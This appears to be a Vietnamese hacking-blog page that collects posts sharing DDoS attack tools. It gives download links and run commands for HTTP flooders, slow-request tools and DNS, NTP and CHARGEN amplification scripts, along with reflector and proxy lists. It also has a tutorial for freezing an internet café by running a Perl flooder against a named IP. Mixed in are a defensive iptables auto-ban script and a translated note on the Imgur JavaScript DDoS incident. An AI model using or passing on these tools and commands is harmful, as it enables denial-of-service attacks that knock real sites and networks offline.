SHARE code DDOS Python AXITERXDOSER

DOWNLOAD:
http://ouo.io/fg0eTE
NGUỒN Hoàng Phạm

Read »

DDos Scripts Layer 4 đến Layer 7

Layer 7

ARME (For Apache Servers)
http://www.mediafire.com/view/5evl45bx12jvod8/arme.c
./arme http://google.com 5000 proxies.txt 3600 0

GHP (Get / Head / Post )
http://www.mediafire.com/view/h1k0rnot5x55x1m/ghp.c
./ghp http://google.com GET 5000 proxies.txt 3600 0 %random%

Hulk (Python)
http://www.mediafire.com/view/zzayd073xt6xj5f/hulk.py
python hulk.py http://google.com

Rand (Perl)
http://www.mediafire.com/view/5f0188o19kkz5d8/Rand.pl
perl rand.pl http://google.com 3600

R.U.D.Y
http://www.mediafire.com/view/mf9qhehd95dru69/rudy.c
./rudy http://google.com 1 5000 proxies.txt 3600 0 %random%

SlowLoris
http://www.mediafire.com/view/6an1elr7wz32gqx/slow.c
./slow http://google.com 5000 proxies.txt 3600 0

XML-RPC Pingback ( C version )
http://www.mediafire.com/download/ppo0kpcf699qv1l/xml
./xml http://google.com xml.txt 10000 3600

XML-RPC Pingback ( Perl Version )
http://pastebin.com/LXzyrYrB
perl xml.pl http://google.com/ 10000 xmlrpc.txt 3600

XML-RPC Pingback ( PHP Version )
http://pastebin.com/UPu1hd3g
php xml.php xml.txt 10000

007 Goldeneye
http://pastebin.com/FtBTrB15
python 007.py http://google.com

Pyloris
http://sourceforge.net/projects/pyloris/
python pyloris.py http://google.com 80 0 3600 200 60000 2

Layer 4

Fragmentation Script !
https://www.mediafire.com/?34adxv2nhtp8313
./fragmentation 192.154.22.10

DNS AMP (UDP)
http://pastebin.com/D2RSDd9X
./amp 127.0.0.1 80 amp.txt 2 3600

CHARGEN
http://pastebin.com/iteE3FsC
./chargen 127.0.0.1 80 chargen.txt 2 -1 3600

TCP (Advanced ESSYN)
http://pastebin.com/b0KAM2up
./tcp 127.0.0.1 80 2 -1 3600

SNMP (C Version)
http://pastebin.com/0paGRUiU

SNMP (Python Version)
http://pastebin.com/0C3gBJ8S
./snmp -t 127.0.0.1 -f snmp.txt -l 30

Spoofed UDP
http://pastebin.com/8HS7baKd
./sudp 127.0.0.1 80 5 5 3600

NTP (Python)
http://pastebin.com/Rgq3mWem
python ntp.py 127.0.0.1 ntp.txt 5

NTP (Perl)
http://pastebin.com/9kGK4HeB
perl ntp.pl 127.0.0.1 80 3600 ntp.txt 5

DrDos
http://pastebin.com/xxm6QbmH
perl drdos.pl 127.0.0.1 80 servers.txt 5 tcp 10 3600

Haven
http://www.mediafire.com/download/2r5dm6d6ewb9w2w/haven
./haven -d 127.0.0.1 -s 255.255.255.255 -t 3600 -z 30

ACK
http://www.mediafire.com/download/7ojx7bawpnw25ch/ack
./ack 127.0.0.1 3600

Lists !

DNS AMP ( Domain Format )

List 1 http://pastebin.com/5g8U1KXD
List 2 http://pastebin.com/qannUPH6
List 3 http://pastebin.com/C2ef6zm7
List 4 http://www.mediafire.com/view/a9akhwfdmgafz0a/DNS043014.txt

CHARGEN AMP (IP Format )

http://pastebin.com/U4U5Ndhu

Pingback List !

https://www.mediafire.com/?obx6opa4oqbl85b

Fresh Proxy List

List 1 http://pastebin.com/caJVz4y0
List 2 http://pastebin.com/z0y0VPVG

Hulk + xmlrpc
http://pastebin.com/EpSBD563
http://pastebin.com/wr8npJie
http://pastebin.com/YW0zDXcs
http://www.mediafire.com/view/zzayd073xt6xj5f/hulk.py

nguồn anonsec

Read »

Skype Tool v.2.2 DDoS!

DOWNLOAD :http://ouo.io/Bt1ph

Read »

SHARE HƠN 100 TRANG LẤY PROXY ONLINE

SHARE HƠN 100 TRANG LẤY PROXY ONLINE

http://orcahub.com/proxy-lists/
http://2freeproxy.com/elite-proxy.html
http://cool-proxy.ru/
http://www.freeproxylists.net/ru/
http://xseo.in/freeproxy
http://awmproxy.com/
http://webanet.ucoz.ru/publ/24
http://www.cool-tests.com/anon-elite-proxy.php
http://2proxy.org/tag/free-socks
http://3ghttp.com/daili/zxhttp/
http://aliveproxy.com/ru-proxy-list/
http://anon-proxy.ru/
http://anonymizer.com
http://aproxy.ru/
http://atomintersoft.com/free_socks5_proxy_list
http://awmproxy.com/freeproxy.php
http://awmproxy.com/socks_proxy.txt
http://best-proxies.ru/proxylist/anonymous/
http://best-proxy.ru/
http://best-proxy.ru/feed
http://blackhatteam.com/f120/
http://botmaster.ru/proxy/httplist.htm
http://bulkinfo.net/Proxy
http://checkedproxylists.com/proxylists_full.html
http://checker.freeproxy.ru/
http://cnproxy.com
http://community.aliveproxy.com/forums/11.aspx
http://cooleasy.com/
http://cool-proxy.net/index.php?action=proxy-list
http://cool-proxy.ru/
http://cool-proxy.ru/category/proxy-list
http://cybersyndrome.net
http://cybersyndrome.net/
http://daily-proxy.blogspot.com/
http://ddday.com/proxy
http://dheart.com/proxy/
http://dlnxt.com/f42-proxies/
http://dubetsky.narod.ru/files/proxy.html
http://elite-proxies.blogspot.com/
http://en.proxy.net.pl/fresh.html
http://en.soks.biz/?free
http://final4ever.com/forumdisplay.php?f=144
http://findproxy.org/AnonymousProxies.php
http://fineproxy.ru/
http://forum.freeproxy.ru/viewforum.php?f=5
http://freeproxies.us/
http://freeproxy.ch/proxy.txt
http://free-proxy.ucoz.ru/
http://freeproxylist.cn/
http://free-proxy-list.info/free-proxy- … ng-proxies
http://freeproxylists.co
http://globalproxies.blogspot.com/
http://golden-joint.com/index.php?showforum=42
http://hackingballz.com/lista_proxys_anonimos
http://hackingballz.com/lista_proxys_an … s_anonimos
http://haozs.net/Class.asp?ID=17
http://hayatforumda.com/anonymous-proxy/
http://hideme.ru/proxy-list/
http://ip-adress.com/proxy_list/
http://ipspider.com/proxy-and-socks-list/
http://lawinaboard.com/forums/index.php?showforum=8
http://madnet.name/tools/proxy/
http://mazafaka.ru
http://megasocks.blogspot.com/
http://msurf.ru/proxy_list.
http://multiproxy.org/anon_proxy.htm
http://naawy.com/online_socks5.php
http://new-fresh-proxies.blogspot.com/
http://nntime.com/
http://pro-hack.ru/proxy/showproxy.php
http://prosocks.blogspot.com/
http://proverim.net/proxy1.php
http://proxies.cz.cc/
http://proxies.my-proxy.com/proxy-list-socks4.html
http://proxiesatwork.com/proxylist.php
http://proxy.ipcn.org/proxylist2.html
http://proxy.org/planetlab.
http://proxy.org/tor.shtml
http://proxy.rx22.ru/
http://proxy.speedtest.at/proxyOnlyAnon … p?offset=0
http://proxy4free.com
http://proxy4free.com/page1.html
http://proxybase.de/en/list-0.htm
http://proxy-base.org/f7/all_countries_proxy-7061.html
http://proxybox.ru/proxy_list.htm
http://proxybox.ru/proxy_list_strana.php
http://proxybox.ru/socks_list.php
http://proxydb.ru/News.aspx
http://proxydb.ru/socks-list.
http://proxyfire.net/forum/forumdisplay.php?f=14
http://proxy-forum.org/
http://proxyfree.ru/
http://proxy-free-list.ru/category/prox … nada-proxy
http://proxy-heaven.blogspot.com/
http://proxyhell.blogspot.com
http://proxyhttp.net/list/anonymous-ser … #proxylist
http://proxy-hunter.blogspot.com/feeds/posts/default
http://proxy-ip-list.com/
http://proxy-list.biz/
http://proxylist.com.ru/index.html
http://proxylist.net/
http://proxy-list.org/ru/
http://proxylist.sakura.ne.jp/
http://proxylist-free.blogspot.com/
http://proxylists.net/
http://proxy-masterz.com/vb/f3/
http://proxyserverlist.blogspot.com/
http://proxyserverprivacy.com/free-proxy-list.shtml
http://proxy-servers.org/anonymous-proxy-servers.html
http://proxy-servers.org/irc-proxy-servers.html
http://proxyservers.ru
http://proxyvadi.net/proxy-list
http://proxyz.net/
http://proxy-zone.com/
http://proxz.com/
http://proxz.com/proxy_list_high_anonymous_0.html
http://prpar.dak-cc.com/
http://realbooster.com/seo-services/fre … list-tool/
http://rmccurdy.com/scripts/proxy/good.txt
http://ru.smart-ip.net/free-proxy-list
http://samair.ru/proxy/
http://samair.ru/proxy/
http://samair.ru/proxy/proxy-01.htm
http://shram.kiev.ua/hacker/proxy
http://smart-ip.net/services/proxy-list
http://socks.biz.ua/
http://socks24.org/
http://socks4.ru/
http://socks5list.com/
http://socks5servers.blogspot.com/
http://sockslist.net/list/proxy-socks-4 … #proxylist
http://socks-world.blogspot.com/
http://spys.ru/proxys/PL/
http://spys.ru/proxys/RU/
http://spys.ru/socks/
http://ssl-proxy-server.blogspot.com/
http://super-socks.com/
http://textproxylists.com/proxy.php?allproxy
http://tools.rosinstrument.com/proxy/
http://torrentproxy.org/
http://ufolabs.ru/proksi.html
http://vectroproxy.com/pages/list-http.php
http://vectroproxy.com/pages/list-socks.php
http://wapland.org/proxy/proxy.txt
http://web-hack.ru/proxy/
http://weblayout.ru/proxy/index.php?list=
http://www.proxybox.ru/socks_list.php
http://www.proxyfire.net/index.php?page … sproxylist

Read »

SHARE code DDOS XMRLPC bằng ngôn ngữ Perl

Link tải 

tải về rồi chạy thôi :#

Read »

SHARE code DDOS nước ngoài và lệnh crack by Jo3

DOWNLOAD HERE

Read »

CODE DDOS Ma Vương ( Python )

- Sau đây tôi xin Share Code DDoS Ma Vương ( Ngôn Ngữ Python )
- Code từ Hulk mà ra ( Đã được Mod thành Ma Vương )
- Cách sử dụng
- Mở CMD
- Tìm dường dẫn đến Code
- ghi cmd: mavuong.py ( url victim )
- Enter và tận hưởng thành quả
- ( Lưu ý: Down code về lưu lại với định dạng file .py )
DOWNLOAD 

 

Read »

Share hơn 40 code DDOS python cho anh em

Hôm nay max rảnh nên share cho m.n phá hoại chút , à mà nhắn tới mấy thanh niên trẩu nghịch ít thôi nhé !!!
DOWNLOAD HERE 

Read »

HƯỚNG DẪN LÀM ĐƠ CẢ TIỆM NET BY Jo3

Nguồn Jo3

để đánh dấu sự trở lại của Jo3
b1 : tải Perl và cài đặt (mình cài rồi)
tải code về mã hóa MD5 m.n giải ra nhé feaadce99387693dfb6a16ca483627dd
DOWNLOAD
b2 : mở cmd ra
đến ổ chứa thư mục perl thường là ổ c
cd Perl
mở file
jo3.pl 115.146.126.227 80 1000 300
như thế này
đó nhấn enter là xong nếu muốn thoát ấn ctrl + c
à mà pass của link download mình đã mã hóa md5 r nhé
ai muốn tải thì giả mã rồi down ( chống trẻ trâu )
END TUT

Read »

Share Code DDos , Proxy , Tool Ddos , Facebook

Share Proxy DDos Nè : http://www.ron.vn/i3Iz8 , http://www.ron.vn/fynmC ,http://www.ron.vn/7eXHA
Share 1 Kho Tool DDos nè : http://www.ron.vn/1kWBu
Share Code DDos : http://www.ron.vn/E2ppt , http://www.ron.vn/tbr2P ,http://www.ron.vn/Tygsc , http://www.ron.vn/s9UZF ,http://www.ron.vn/9RUNH , http://www.ron.vn/ullyL
Tut Rip : http://www.ron.vn/rDe2M
Unclock FAQ : http://www.ron.vn/VVD8W

Read »

Video Tổng hợp về botnet

Đây là những video mình sưu tầm từ nhiều nguồn!! 

http://www.mediafire.com/download.php?qqtc0ad59vqrrji
http://www.mediafire.com/download.php?l6imrwffsnwq75r

Read »

DDos WEB BẰNG XMLRPC MOD

DDos WEB BẰNG XMLRPC MOD
https://youtu.be/FNpn8yHTMRo
link tải : https://www.mediafire.com/folder/xj8fh57udwda5/XMLRPC_-_Script_DDos_By_Killer%40Root

Read »

PHP Dos tấn công Script.

Xin chào độc giả, Hôm nay Im đi để chia sẻ một công cụ PHP tuyệt vời với bạn
. Đây là một trong những công cụ tiên tiến của website crashing gọi là PHP Dos tấn công Script. Đơn giản chỉ cần tải về các tập tin, giải nén và tải lên các tập tin vào máy chủ web của bạn.

CHỨC NĂNG: -

ddos kịch bản, dos php, php script ddos, dos php script, ddos php script, ddos php script, ddos mysql
ddos script php, phpDos, kịch bản ddos, kịch bản DDOS, ddos php, php ddos, từ chối kịch bản dịch vụ
dos php, ddos kịch bản tấn công, php ddoser, ddos script php, dos script php, php ddos kịch bản
tấn công DDos php script, ddos script php, PHP Script DoS bởi Exe, ddos, dos php bởi exe, ddos kịch bảntừ chối dịch vụ: - php script, php DDoS tấn công, ddos php download, ddos tải về kịch bản, DDOS trực tuyến từ chối kịch bản dịch vụ, PHP DoS / DDoS (từ chối dịch vụ) Script, ddos php cụ php curl ddos, ddos script php, ddos kịch bản tấn công, dos kịch bản từ chối, php Dos kịch bản, php từ chối dịch vụ đầy đủ PHP-DOS-kẻ tấn công kịch bản bao gồm: . 1) index.php . 2) functions.php . 3) main.jpgThông tin cung cấp trên blog này là dành cho chỉ mục đích của tác giả không phải chịu trách nhiệm! ! Sử dụng nội dung và các công cụ trên blog này / trang web là RỦI RO của riêng bạn !!

Tải về (MediaFire) : -

http://sh.st/wiUmd

Mật khẩu: hackers-store.blogspot.com

Read »

Perl DDoS ATTACK

https://youtu.be/5ipvTvpQoiU

Read »

Chống DDoS cho trang web của bạn

Vì vậy, một vài người trong số bạn có thể đã nhận thấy rằng chúng tôi bắt đầu chặn "Imgur.com" đó là một trang web chia sẻ ảnh phổ biến.

Lý do chúng tôi đã làm điều này là vì một lỗ hổng trong mã của họ cho phép tội phạm mạng để tải mã javascript độc vào các trình duyệt của người dùng trang web. Điều này sẽ được sử dụng để biến mỗi hệ thống thành một vũ khí DDoS (Distributed Denial of Service).

Các mục tiêu của các cuộc tấn công DDoS là 4chan & 8chan, đó là các trang web tin hình ảnh phong cách bảng đăng.

Danh tính của những kẻ tấn công hay động lực của họ là không biết tại thời điểm này, tuy nhiên nó có thể là một nhóm cư dân tiểu internet giận sử dụng một lỗ hổng trong mã của imgur hơn là sử dụng việc sử dụng một botnet (đó là cách tiếp cận truyền thống) hoặc một Quân đội của người sử dụng đều tức giận.

Imgur đã từng tung ra một tuyên bố cho phép folks biết rằng lỗi trong mã đã được vá và du khách hiện tại nên được tốt.

Tuy nhiên, họ cũng khuyên rằng folks xóa bộ nhớ cache của trình duyệt của họ trong trường hợp các javascript độc hại vẫn được nạp và hoạt động ở chế độ nền. Có rất nhiều mối đe dọa tiềm ẩn liên quan cho phép mã này để chạy trên hệ thống của bạn, như được mô tả bởi Lyra883 trong một Reddit viết  mã có thể:

• Truyền khẩu của bạn để tấn công
• Trở thành một phần của một công DDoS khổng lồ
• Thường xuyên tải quảng cáo trả những kẻ tấn công
• Yêu cầu edgelord-tier khiêu dâm trẻ em từ một honeypot mà bạn không biết

Click vào đây để được hướng dẫn làm thế nào để xóa bộ nhớ cache trình duyệt của bạn và loại bỏ các mối đe dọa.

Click vào đây nếu bạn cảm thấy thoải mái trở lại sử dụng imgur của bạn nhưng không muốn vô hiệu hóa Malwarebytes Bảo vệ Web của bạn.

Dưới đây cũng là một mẹo tốt cho tất cả các danh sách trắng của các tên miền phụ imgur:

Hãy nhớ rằng bằng cách chặn một trang web bị chặn, bạn đang làm như vậy nguy cơ của riêng của bạn như Malwarebytes Các nhà nghiên cứu không tin tưởng nó.

Chúng tôi đang làm việc để xác định nếu imgur là một lần nữa an toàn cho tất cả người dùng và ngay khi chúng tôi cảm thấy tự tin vào thực tế rằng chúng ta sẽ bỏ cấm trang web của họ. Hãy tiếp tục theo dõi để cập nhật và lướt web an toàn!

UPDATE: 

Sau khi nói chuyện với các nhân viên của Imgur về những gì họ đã làm để sửa chữa các vấn đề và ngăn chặn chúng từ xảy ra một lần nữa trong tương lai, chúng tôi đã loại bỏ khối của chúng tôi và không nên có vấn đề hơn nữa. Hãy chắc chắn rằng bạn cập nhật lên phiên bản cơ sở dữ liệu mới nhất để loại bỏ các khối.

UPDATE 2:

Từ Imgur:

 Trong ngắn hạn, ai đó quản lý để tải lên một tập tin HTML với JavaScript độc hại bên trong của nó nhắm 8chan. Lỗ hổng này là hoàn toàn vá và nó không còn có thể tải lên tập tin của loại đó. Không chỉ được điều này cụ thể vá, nhưng chúng tôi ngăn chặn các máy chủ của chúng tôi từ i.imgur.com phục vụ bất cứ điều gì khác hơn là tập tin hình ảnh. Điều này có nghĩa rằng chúng tôi đã dừng lại khả năng phục vụ cho bất kỳ tập tin JavaScript khác như thế này. Không có dữ liệu người dùng như mật khẩu và e-mail đã bị rò rỉ.

Nice work để Imgur cho phản ứng nhanh chóng của họ và chuyển động vào việc sửa vấn đề này để đảm bảo rằng người dùng của họ được an toàn và an toàn!

Nhờ mọi người sau cùng và như mọi khi, lướt web an toàn!

Read »

DDoS Perl Mạnh nhất bằng KODING

link tải : DDoS Perl Mạnh nhất bằng KODING
Hướng dẫn :https://youtu.be/BoBs55dk3_U
tải : http://www.mediafire.com/view/lgq19fr0r9lh408/ght_v2_.pl

Read »

Tool DDoS dành cho Attacker !

Tool DDoS Attacker !

Rio Shell Buster : https://cdn.anonfiles.com/1364399417147.rar

IDozer v.4 : http://www.mediafire.com/download/rg55201i2qgf1kr
/
Slowris : http://pastebin.com/0Xgu9aE2

Pyloris2 : http://pastebin.com/NYYQYrrV

R.U.D.Y : http://hybridsec.com/resource.html

OWASP HTTP Tool :https://www.owasp.org/index.php/OWASP_HTTP_Post_Tool

Script DDoS Perl : http://pastebin.com/d7ieCy3c

DDos cmd : http://www.mediafire.com/download/56hkt1tc5nenn43/

DDOSIM—Layer 7 DDOS Simulatorhttp://www.mediafire.com/download/6b9mbflnwk75rxl/

Hulk DDoSer : http://www.mediafire.com/?tb7d9t203v7twdy

LOIC : http://www.mediafire.com/download/e0w133hs11ea7qx/

Read »

New DDos Tools Perl & Python Script

http://www.mediafire.com/download/76un585r58jbhzj/Infamous.rar




http://www.mediafire.com/download/y599t3sica3ic95/FrezzY-Dos.rar



This DDos Tools Perl Script And Python Script

Bu DDos Programları Perl Script Ve Python Scriptlidir

Read »

DDoS Block PERL NEW HOT

CODE:

#!/usr/bin/perl

###############################################################################
## DDOSBlock version 0.1 Author: Jo3-GHT                                      #
##                                                                            #
## Download from https://sourceforge.net/projects/ddosblock                   #
##                                                                            #
## To execute, run:                                                           #
##                                                                            #
## ./ddosblock-0.2.pl                                                         #
###############################################################################

use strict;
use warnings;

use vars qw(%CONFIG %blocked);

$| = 1;

my %CONFIG = (

  ## 0 = No output
  ## 1 = Actions reported
  ## 2 = Actions + unix commands reported
  ## 3 = Verbose in the extreme

  DEBUG => 2,

  ## Do we perform checks only - no IPTABLE changes - Good for debugging

  TESTMODE => 0,

  ## Ban IP addresses above this number of accesses

  THRESHOLD => 150,

  ## How long, in seconds, between checks

  INTERVAL => 30,

  ## If we have APF use that, otherwise fallback on iptables

  USEAPF => 0,

  ## How long (in seconds) do we ban people for
  ## escalating each time they're bad
  ## This resets to the first item, when they have gone
  ## a full interval without being flagged
  ##
  ## 60, 300, 3600 would mean that they are banned for 60 seconds, then 5 minutes, then an hour
  ##
  ## This list can have as many increment levels as you like

  BANINCREMENTS => [60, 120, 240, 800, 1200],

  ## IP ADDRESSES THAT WE WILL NEVER BAN

  EXCLUDEIPS => [ "127.0.0.1", "10.0.0.1" ],

  ## UNIX COMMANDS

  NETSTAT => "/bin/netstat",

  IPT => "/usr/sbin/iptables",

  APF => "/usr/local/sbin/apf",

  SENDMAIL => "/usr/sbin/sendmail",

  ## WHERE TO STORE/SAVE OUTPUT

  LOGDIR => "/var/log/ddosblock",

  MAILTO => "nobody\@example.com", # NOTE: Under Perl you have to escape the @ symbol with a slash

  STDOUT => 1, # In addition to logging, do we want to report it to STDOUT

);

$CONFIG{TOTINCREMENTS} = $#{$CONFIG{BANINCREMENTS}};
$CONFIG{LISTFILE}      = "$CONFIG{LOGDIR}/bannedips.txt";
$CONFIG{LASTDAY}       = 0;

if ( ! -d $CONFIG{LOGDIR})
{
  print "Creating log directory $CONFIG{LOGDIR}\n\n";
  mkdir $CONFIG{LOGDIR},700;
}

my $command = qq($CONFIG{NETSTAT} -ntu | awk '{ sub(/(.*)\:/,"",\$4); sub(/\:(.*)/,"",\$5); print \$5,\$4}' | grep ^[0-9] | sort | uniq -c | sort -nr | head -30 );

&rotatelog();

if ($CONFIG{TESTMODE} == 1)
{
  &debug(qq(** NOTE **\n\nTest mode - No IPTABLE changes will be made\n));
}

&loadbanned();

while (1)
{
  &rotatelog();

  &check();

  &release();

  &debug(qq(- Sleeping for $CONFIG{INTERVAL} seconds\n)) if ($CONFIG{DEBUG} > 1);

  sleep $CONFIG{INTERVAL};
}

sub rotatelog
{
  my @date = localtime();
  my $weekday = $date[6];

  if ($weekday != $CONFIG{LASTDAY})
  {
    if ($CONFIG{LASTDAY})
    {
      close(DEBUG);
    }
    $CONFIG{LASTDAY} = $weekday;

    open(DEBUG, "> $CONFIG{LOGDIR}/doslog.$weekday.txt");
  }
}

sub check
{
  my @input = `$command`;

  my $now = time;

  my $savelist;

  INPUTLOOP:
  foreach my $item (@input)
  {
    chomp($item);

    $item =~ s/^ +//io;
    $item =~ s/ +/ /io;

    &debug("-- $item\n") if ($CONFIG{DEBUG} >= 3);

    my ($hits, $ipaddress, $port) = split(/ /, $item);

    next INPUTLOOP if (grep(/^$ipaddress/, @{$CONFIG{EXCLUDEIPS}}));

    next INPUTLOOP if (defined $blocked{$ipaddress} && $now < $blocked{$ipaddress}{sleepuntil});

    if ($hits > $CONFIG{THRESHOLD})
    {
      $blocked{$ipaddress}{blocklevel} = $blocked{$ipaddress}{lastblock} + 1 || 1;
      $blocked{$ipaddress}{lastblock}  = $blocked{$ipaddress}{blocklevel};

      if ($blocked{$ipaddress}{blocklevel} == 1)
      {
        my $iptcmd     = ($CONFIG{USEAPF}) ?
          "$CONFIG{APF} -d $ipaddress"
        :
          "$CONFIG{IPT} -I INPUT -s $ipaddress -j DROP";

        my $ok = `$iptcmd` unless ($CONFIG{TESTMODE});

        &debug("Adding block for $ipaddress ($hits hits/minute, port $port)") if ($CONFIG{DEBUG} > 0);
        &debug("- Command $iptcmd") if ($CONFIG{DEBUG} > 1);

        if ($CONFIG{MAILTO})
        {
          my $localtime = localtime();

          open (MAIL, "| $CONFIG{SENDMAIL} -t");
          print MAIL qq(To: $CONFIG{MAILTO}\nSubject: IP address $ipaddress banned\n\nBanned ip addresses $ipaddress on $localtime with $hits hits\n);
          close (MAIL);
        }
      }
      else
      {
        &debug("Setting $ipaddress to block level $blocked{$ipaddress}{blocklevel} ($hits hits/minute)") if ($CONFIG{DEBUG} > 0);
      }

      &updatesleep($ipaddress);

      $savelist = 1;
    }
  }

  # Save a list of banned IPs to a file incase this process dies
  if ($savelist)
  {
    &savebanned();
  }
}

sub release
{
  my $now = time;
  my $savelist;

  # Loop through all the IP addresses flagged

  foreach my $ipaddress (keys %blocked)
  {
    # No point looking at it until we've gone past the sleep date

    if ($now > $blocked{$ipaddress}{sleepuntil})
    {
      $blocked{$ipaddress}{passcount}++;

      # Remove the block on the first pass
      # then remove the

      if ($blocked{$ipaddress}{passcount} == 1)
      {
        # Release the block

        my $iptcmd = ($CONFIG{USEAPF}) ?
          "$CONFIG{IPT} -u "
          :
          "$CONFIG{IPT} -D INPUT -s $ipaddress -j DROP";

        &debug("Removing block from $ipaddress") if ($CONFIG{DEBUG}> 0);
        &debug("- Command $iptcmd") if ($CONFIG{DEBUG} > 1);

        my $ok = `$iptcmd` unless ($CONFIG{TESTMODE});

        $blocked{$ipaddress}{blocklevel} = 0;
      }
      else
      {
        &debug("- Two passes without issue $ipaddress, forgetting block level") if ($CONFIG{DEBUG} > 1);
        delete $blocked{$ipaddress};
      }

      $savelist = 1;
    }
  }

  # Save a list of banned IPs to a file incase this process dies
  if ($savelist)
  {
    &savebanned(\%blocked);
  }
}

sub updatesleep
{
  my ($ipaddress) = @_;

  my $blocklevel = $blocked{$ipaddress}{blocklevel};

  $blocklevel = ($blocklevel >= $CONFIG{TOTINCREMENTS}) ? $#{$CONFIG{BANINCREMENTS}} : $blocklevel;

  my $increment = $CONFIG{BANINCREMENTS}[$blocklevel - 1];

  $blocked{$ipaddress}{sleepuntil} = time + $increment;

  my $stamp = localtime(time + $increment);

  &debug("- Will check $ipaddress after $increment seconds ($stamp) - Block level $blocklevel") if ($CONFIG{DEBUG} > 1);
}

sub loadbanned
{
  undef %blocked;

  if (-f $CONFIG{LISTFILE})
  {
    open(LIST, "< $CONFIG{LISTFILE}");
    my @list = <LIST>;
    close (LIST);

    # Rebuild a list of those things we've blocked
    foreach my $ipaddress (@list)
    {
      chomp($ipaddress);

      # Let them be released and evaluated again
      $blocked{$ipaddress}{sleepuntil} = 1;
      $blocked{$ipaddress}{blocklevel} = 1;
      $blocked{$ipaddress}{lastblock}  = 1;
      $blocked{$ipaddress}{passcount}  = 0;

      &debug("- Loading blocked IP $ipaddress") if ($CONFIG{DEBUG} > 0);

    }
  }
}

sub savebanned
{
  my ($list) = @_;

  open(LIST, "> $CONFIG{LISTFILE}");
  print LIST join("\n", keys %blocked);
  close (LIST);
}

sub debug
{
  my ($line) = @_;

  print DEBUG localtime() . " $line \n";

  if ($CONFIG{STDOUT})
  {
    print localtime() . " $line \n";
  }
}

Read »

[Hacking] Đồ án tấn công DdOS (rất nhiều tài liệu hay)

Distributed Denial Of Service (DDoS) là kỹ thuật tấn công làm các ISP lo âu, giới hacker chính thống thì
không công nhận DdoS là kỹ thuật tấn công chính thống. Thế nhưng Black hat đang có rất nhiều ưu thế khi triển khai tấn công bằng kỹ thuật DdoS.

Việc phòng ngừa và ngăn chặn DdoS vẫn còn đang thực hiện ở mức độ khắc phục hậu quả và truy tìm thủ phạm. Vậy DdoS là gì mà có nhiều yếu tố đặc biệt như vậy? Bài viết này cố gắng trả lời câu hỏi này dưới lăng kính security. Bố cục bài viết gồm:

- Giới thiệu về DDoS
- Phân tích các loại tấn công kiểu DDoS
- Phân tích các kỹ thuật Anti-DDoS
- Nhân tố con người trong Anti- DDoS
- Một số trường hợp tấn công DDoS

Các file trong Đồ án tấn công DDOS:

Trích dẫn

DDOS21.doc
DDOS.DOC
Đề Cương Chi Tiết.doc
Denial of Service DOS.rtf
Dos11.rtf
DoS- Denial of Service.rtf
phan biet DOS VA DDOS.rtf
Tìm hiểu về tấn công từ chối dịch vụ DoS.doc

Download link mediafire.com

Tệp tin tải về

Bấm vào đây tải về

Read »